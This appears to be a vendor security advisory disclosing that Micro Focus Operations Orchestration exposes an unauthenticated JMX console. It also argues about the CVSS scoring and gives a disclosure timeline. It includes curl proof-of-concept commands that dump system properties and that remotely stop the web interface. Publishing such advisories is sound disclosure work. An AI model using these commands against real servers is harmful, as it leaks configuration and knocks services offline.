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[R1] Micro Focus Operations Orchestrations Information Disclosure and Remote Denial of Service



The default configuration of Operations Orchestration exposes the JMiniX JMX console to unauthenticated remote users. A malicious attacker can use this console to gather information:

[email protected]:~$ curl -d "executed=true" -X POST
#Wed Feb 28 11:01:57 EST 2018
java.vendor=Azul Systems, Inc.
catalina.base=C\:/Program Files/Hewlett Packard Enterprise/HPE Operations Orchestration/central/tomcat
sun.management.compiler=HotSpot 64-Bit Tiered Compilers
os.name=Windows 10
sun.boot.class.path=C\:\\Program Files\\Hewlett Packard Enterprise\\HPE Operations Orchestration\\java\\lib\\resources.jar;C\:\\Program Files\\Hewlett Packard Enterprise\\HPE Operations Orchestration\\java\\lib\\rt.jar;C\:\\Program Files\\Hewlett Packard Enterprise\\HPE Operations Orchestration\\java\\lib\\sunrsasign.jar;C\:\\Program Files\\Hewlett Packard Enterprise\\HPE Operations Orchestration\\java\\lib\\jsse.jar;C\:\\Program Files\\Hewlett Packard Enterprise\\HPE Operations Orchestration\\java\\lib\\jce.jar;C\:\\Program Files\\Hewlett Packard Enterprise\\HPE Operations Orchestration\\java\\lib\\charsets.jar;C\:\\Program Files\\Hewlett Packard Enterprise\\HPE Operations Orchestration\\java\\lib\\jfr.jar;C\:\\Program Files\\Hewlett Packard Enterprise\\HPE Operations Orchestration\\java\\classes
java.vm.specification.vendor=Oracle Corporation
javax.net.ssl.keyStore=C\:/Program Files/Hewlett Packard Enterprise/HPE Operations Orchestration/central/var/security/certificate.p12
... snip ...

Or to simply shutdown the web interface:

[email protected]:~$ curl -d "executed=true" -X POST,port=8080/operations/stop%28%29/
curl: (52) Empty reply from server
[email protected]:~$ curl -vv
*   Trying
* Connected to ( port 8080 (#0)
> GET /oo/ HTTP/1.1
> Host:
> User-Agent: curl/7.54.0
> Accept: */*

A note on the CVSS scoring. Micro Focus has given this a score using “AC:H” (or Access Complexity: High). The description for a “Low” access complexity follows:

Specialized access conditions or extenuating circumstances do not exist. The following are examples:
- The affected product typically requires access to a wide range of systems and users, possibly anonymous and untrusted (e.g., Internet-facing web or mail server).
- The affected configuration is default or ubiquitous.
- The attack can be performed manually and requires little skill or additional information gathering.
- The race condition is a lazy one (i.e., it is technically a race but easily winnable).
The affected configuration is the default configuration. Tenable’s CVSS scoring reflects that while Micro Focus’ does not.


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Disclosure Timeline

01/16/2017 - Issue discovered
01/19/2017 - Vulnerability reported to HPE
01/30/2017 - Vendor confirms receipt and assigns PSRT110353
03/31/2017 - Ping vendor for update
04/03/2017 - Vendor says "issue has been accepted by the product owner and is in process"
07/11/2017 - Vendor requests PoC
07/11/2017 - Tenable provides PoC
02/26/2018 - Vendor is now Micro Focus. They ask who to credit.
02/26/2018 - Tenable provides credit information and asks for disclosure date.
02/26/2018 - Vendor not sure on disclosure date but will send a link when its available
03/01/2018 - Vendor releases a security advisory
03/02/2018 - Tenable releases a security advisory

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